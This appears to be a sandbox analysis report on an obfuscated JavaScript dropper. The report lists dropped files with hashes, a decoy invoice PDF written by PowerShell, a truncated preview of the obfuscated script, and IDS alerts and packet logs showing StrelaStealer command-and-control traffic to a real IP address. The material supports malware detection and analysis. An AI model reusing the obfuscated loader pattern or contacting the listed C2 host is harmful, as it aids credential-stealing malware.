Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.408084598403813
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRsM:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRN
MD5:	4E9751642CB3D961E2E1460C4F34F290
SHA1:	966C4F1F641185B0B1CD09AA937E2F8D98CFBFB3
SHA-256:	87B0B6CA82B833EA0A73497D2B77C81C33A5B447A6976EE792037BEDE399AB23
SHA-512:	1CFA4A9CBEFC9D3E3C3799CF4D8B6603E302F132451333C75E70C18666B9A8E28443A24032A590B3CBC3893C6F855E4845E0EEC0D576B81DD0A9CA6F61EFA124
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1782ff48-5f65-4f53-87f3-4d622b33299d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\4e689be0-0f65-4d70-a1a4-76f5e26bf19c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/r5eYIGNPpOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:T5eZGOWLxBGZN3mlind9i4ufFXpAXkru
MD5:	4CBEAB1994786A0B8AE7BAF48FAD3A6A
SHA1:	2F22D79E3DF7B249DA18F028F5A14EB65BB9C139
SHA-256:	7E6BD13795A55EFAED961CFF688D9D59401599963C4AF42FD6ABAD434E7D6088
SHA-512:	DF0BFE07CDAFBD1DE973E9C16F854AFEEA391733E87B00A358EA53FC812746E077E74B04B144DAED0B4795ECE1638D43CDE7A283024212B548AE96ED3F1BA542
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4f18fb70-e0be-479f-99f4-4d88d23f30b4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U8:O3Pjegf121YS8lkipdjMMNB1DofjgJJY
MD5:	91FB13BA86F9851088A815FC1C589744
SHA1:	EFF1FACC7E56CD354CD9CE7B3429342883D5AE70
SHA-256:	E54AE9819F665C9156FA36FD982EFAD6C69A9A9647FBBC1CA5DBE2AF043EB291
SHA-512:	8E1FED5FDF80DAD97A92BFFEB81752675BF50DCAEAF2ACD0C6AA32D5610950495DD913F666C40AE411DDD18CD70E2CBAD5DB1849C96674C64000E99021559C50
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\5d2a7906-a6cb-4d36-83ad-485e28ef56a6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/IkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07mWL07oXGZd:zwZG2b3mlind9i4ufFXpAXkrfUs0CWLk
MD5:	9431A1C2A3C1BEFE8F3925B1B333DC34
SHA1:	4E77620153F74BE80B9D533FD16826A276113460
SHA-256:	9C81A3C6CA676D3D45D2C43A2204E3B78DFB3C0082A1748B67CD9F95AD419ABC
SHA-512:	56AC05EAAAD17DBBA09E224C4472D1792C5B038ECB976E9DD107817999ACF7E8A217D0E6A61983777569426A7493661CF2CE16FF6753FE8517EFA360B52C871F
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15542), with CRLF line terminators
Entropy (8bit):	4.918672305681459
TrID:
File name:	884736801811116482.js
File size:	19'002 bytes
MD5:	ef0deca16234cbf5867a86ed17d6687e
SHA1:	0161ee0d4f1c8ad91fe45d9b176b3e98202e706e
SHA256:	281c24ffdebe1d61485f923f880c5864963276fa06592378c45201b783fddc49
SHA512:	fe1a9c6f8553c850f87f7158c90f1d8d60545886f657175eb57745efb7b1451218562e306de7de8f95fc7a52229f273dfd185893b48676bf12616305ab9c8849
SSDEEP:	384:wWUCuuGuur2efglczIZ8cOld651A6ftUhCJz3EJZB5fuv3/yUvU9:w+uuGuuLXQJz3EJZB5GXs
TLSH:	9A8223A5C3139D1E50E28F5667F78022027D36EE857E93BC1C4225AAD708BE909E71FD
File Content Preview:	function cjvir(){rxhty=[1031,3079,5127,4103,2055,3072];var qkvmlg=this[fxeqxut+viiux+lphmuee+ryuhagah+iqryr+eskttkgq+mmehsev+yrchclcuz](this[zhrbzc+dazyp+shkwmikd+lphmuee+aebncc+fxeqxut+yrchclcuz][cpvddspk+lphmuee+iqryr+viiux+yrchclcuz+iqryr+koazzzbb+uxiy

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:15:06.900344+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49700	193.143.1.205	80	TCP
2025-01-11T05:15:06.900344+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49700	193.143.1.205	80	TCP
2025-01-11T05:15:10.527980+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:15:06.061203003 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:06.066087961 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:06.066168070 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:06.068939924 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:06.073697090 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:06.900213957 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:06.900233984 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:06.900245905 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:06.900257111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:06.900269032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:06.900279045 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:06.900290966 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:06.900301933 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:06.900315046 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:06.900324106 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:06.900343895 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:06.900343895 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:06.900432110 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:06.963061094 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:06.963078022 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:06.963162899 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:06.963356972 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.012706041 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.024231911 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.024256945 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.024277925 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.024338007 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.024349928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.024369955 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.024626970 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.024643898 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.024646044 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.024679899 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.024974108 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.024986982 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.024996996 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.025305986 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.025326014 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.025336027 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.025336981 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.025449038 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.025449991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.025463104 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.025532961 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.026258945 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.026271105 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.026283026 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.026294947 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.026305914 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.026372910 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.026372910 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.050050974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.050062895 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.050074100 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.050182104 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.131982088 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.131999016 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.132010937 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.132065058 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.148710966 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.148756981 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.148900986 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.148914099 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.148926020 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.148937941 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.148960114 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.148977041 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.149032116 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.149027109 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.149045944 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.149058104 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.149065018 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.149101973 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.149179935 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.149192095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.149239063 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.149343967 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.149357080 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.149389029 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.149890900 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.150093079 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.150110006 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.150120974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.150127888 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.150132895 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.150146008 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.150152922 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.150162935 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.150175095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.150181055 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.150187016 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.150213003 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.150923967 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.150934935 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.150945902 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.150964022 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.150974989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.150980949 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.150990963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.151007891 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.151020050 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.151021004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.151046991 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.152013063 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.152024031 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.152035952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.152048111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.152059078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.152066946 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.152070045 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.152082920 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.152093887 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.152113914 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.152139902 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.152885914 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.152895927 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.152908087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.152925014 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.152935982 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.152940989 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.152947903 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.152986050 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.199258089 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.218681097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.256294012 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.256314039 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.256333113 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.256344080 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.256344080 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.256357908 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.256382942 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.256429911 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.273484945 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.273499012 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.273518085 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.273530006 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.273549080 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.273564100 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.273582935 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.273650885 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.273662090 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.273674011 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.273685932 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.273685932 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.273718119 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.273864031 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.273907900 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.274334908 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.274344921 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.274374962 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.274482965 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.274499893 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.274513960 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.274523973 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.274535894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.274537086 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:07.274548054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:07.274560928 CET	49700	80	192.168.2.7	193.143.1.205
